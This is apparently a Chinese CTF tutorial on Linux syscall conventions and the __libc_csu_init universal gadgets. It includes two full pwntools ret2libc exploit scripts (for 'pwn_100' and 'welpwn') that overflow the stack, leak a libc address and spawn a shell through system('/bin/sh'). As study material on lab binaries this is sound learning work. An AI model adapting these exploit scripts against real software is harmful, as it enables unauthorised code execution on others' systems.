系统调用 程序向系统内核请求服务,通过使用系统调用的方式:
32位程序(__stdcall)在执行系统调用后 会pop栈的参数到寄存器,所以在调用后依次排布参数即可.
64位程序传前6个参数直接使用寄存器中存在的值 .故在payload中还要插入gadget,将参数放入寄存器中.
syscall
系统调用号
参数1
参数2
参数3
参数4
参数5
参数6
64位
rax
rdi
rsi
rdx
r10
r8
r9
32位
eax
ebx(stack)
ecx(stack)
edx(stack)
stack
stack
stack
(64)sys_read
0
size_t count(从右向左)
void *buf
int fd
系统调用号:https://github.com/torvalds/linux/tree/16f73eb02d7e1765ccab3d2018e0bd98eb93d973/arch/x86/entry/syscalls
通用gadgets(__libc_csu_init)
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
1 2 3 4 5 6 7 # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13
1 2 3 4 5 6 7 mov rdx, r13 mov rsi, r14 mov edi, r15d call qword ptr [r12+rbx*8] add rbx, 1 cmp rbx, rbp jnz short loc_400740
两段gadgets都是在libc上用于初始化libc的,调用libc的函数都会有这两段.
第一段可以控制rbx,rbp,r12,r13,r14,r15
第二段可以将r13赋值给rdx,r14赋值给rsi,r15d赋值给edi(rdi高32位为0,所以实际可以控制rdi)
如果我们合理控制r12和rbx,也可以调用我们想要调用的函数.如让rbx为0,让r12为我们想要调用的函数地址
call qword ptr [r12+rbx*8] ;寄存器间接寻址,需要把system的地址写入bss
mov edi, r15d ;只能存放4个字节,存放不了/bin/sh
不知道哪找的例题1: 附件:https://www.yk2er0.fun/2020/11/20/xtdy/pwn_100
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.log_level='debug' io=process('./pwn_100') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') elf=ELF('./pwn_100') addr=p64(0x601000) gadget1=p64(0x40075a) gadget2=p64(0x400740) stanum=0x40 ret=p64(0x4004e1) prdi=p64(0x400763) startaddr=p64(0x400550) pld=b'a'*(stanum+8)+gadget1+p64(0)+p64(1)+p64(elf.got['read'])+p64(8)+addr+p64(0)+gadget2+p64(0)*7+startaddr pld=pld.ljust(199,b'b') io.send(pld) io.recvline() io.sendline('/bin/sh') pld2=b'c'*(stanum+8)+prdi+p64(elf.got['read'])+p64(elf.plt['puts'])+startaddr pld2=pld2.ljust(199,b'd') io.sendline(pld2) io.recv(5) readaddr=hex(u64(io.recv(6).ljust(8,b'\x00'))) print (readaddr) gdb.attach(io) libcbase=int(readaddr,16)-libc.symbols['read'] print (hex(libcbase)) sys=p64(libc.symbols['system']+libcbase) pld3=b'f'*(stanum+8)+prdi+addr+ret+sys pld3=pld3.ljust(199,b'\x00') print (pld3) io.sendline(pld3) io.interactive()
查看保护:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO 无法复写got表 Stack: No canary found 栈溢出不用泄漏canary NX: NX enabled 无法执行shellcode PIE: No PIE (0x400000) 可以ret2libc
观察程序,v1大小为0x40,而程序可读0x200,有栈溢出.
无后门函数,无字符串’sh’
用ret2libc的话要先写sh字符,然后泄露libc,最后利用二者getshell
1.写: 先找个合适地方写:
找程序内可写段addr=0x601000
因为调用过read,故可以用通用gadget访问got表跳转到read函数进行读操作.
读操作后要劫持控制流到开头,不然无法进行后续的布置
构造:
pld=b’a’(stanum+8)+gadget1+p64(0)+p64(1)+p64(elf.got[‘read’])+p64(addr)+p64(8)+gadget2+p64(0)\ 7+startaddr
2.泄露libc: pld2=b’c’*(stanum+8)+prdi+p64(elf.got[‘read’])+p64(elf.plt[‘puts’])+startaddr
io.send
io.recv(5)
readaddr=u64(io.recv(6).ljust(8,b’\x00’))
3.利用 pld3=b’e’*(stanum+8)+prdi+addr+sys
不用通用gadgets: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * context.log_level='debug' io=process('./pwn_100') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') elf=ELF('./pwn_100') addr=p64(0x601000) gadget1=p64(0x40075a) gadget2=p64(0x400740) stanum=0x40 ret=p64(0x4004e1) prdi=p64(0x400763) startaddr=p64(0x400550) pld=b'a'*(stanum+8)+prdi+p64(elf.got['puts'])+p64(elf.plt['puts'])+startaddr pld=pld.ljust(199,b'b') io.sendline(pld) io.recv(5) readaddr=hex(u64(io.recv(6).ljust(8,b'\x00'))) print (readaddr) libcbase=int(readaddr,16)-libc.symbols['puts'] print (hex(libcbase)) sys=p64(libc.symbols['system']+libcbase) binsh=p64(libcbase+libc.search(b'/bin/sh').__next__()) pld3=b'f'*(stanum+8)+prdi+binsh+ret+sys pld3=pld3.ljust(199,b'\x00') gdb.attach(io) print (binsh) io.sendline(pld3) io.interactive()
直接泄露libc
例题2:welpwn 附件:https://www.yk2er0.fun/2020/11/20/xtdy/welpwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 elf=ELF('./welpwn') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') io=process('./welpwn') io.recv() ret=p64(0x400589) gadget1=p64(0x40089c) gadget2=p64(0x400880) prdi=p64(0x4008a3) addr=p64(0x601000) startaddr=p64(0x4007cd) ret=p64(0x400589) #gdb.attach(io) pld=b'a'*24+gadget1+prdi+p64(elf.got['read'])+p64(elf.plt['puts'])+startaddr io.send(pld) io.recv(27) readaddr=u64(io.recv(6).ljust(8,b'\x00')) print(hex(readaddr)) libcbase=readaddr-libc.symbols['read'] binsh=p64(libcbase+libc.search(b'/bin/sh').__next__()) sys=p64(libcbase+libc.symbols['system']) pld2=b'f'*24+gadget1+prdi+binsh+ret+sys io.sendline(pld2) io.interactive()
checksec:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO 无法覆写got表 Stack: No canary found 不用泄露canary NX: NX enabled 无法直接执行shellcode PIE: No PIE (0x400000) 可以ret2libc
无后门函数,无sh字符.echo函数中有栈溢出,尝试利用
动调后发现是24位之后.
用gadget1来把影响栈溢出的栈溢出后4个8bitspush掉.
pld=b’a’*24+gadget1+prdi+p64(elf.got[‘read’])+p64(elf.plt[‘puts’])+startaddr
泄露libc,利用
pld2=b’f’*24+gadget1+prdi+binsh+ret+sys
总结 在调用多参数函数时,可以用通用gadgets来完成寄存器的布置,也可以使用部分gadget来实现对寄存器的控制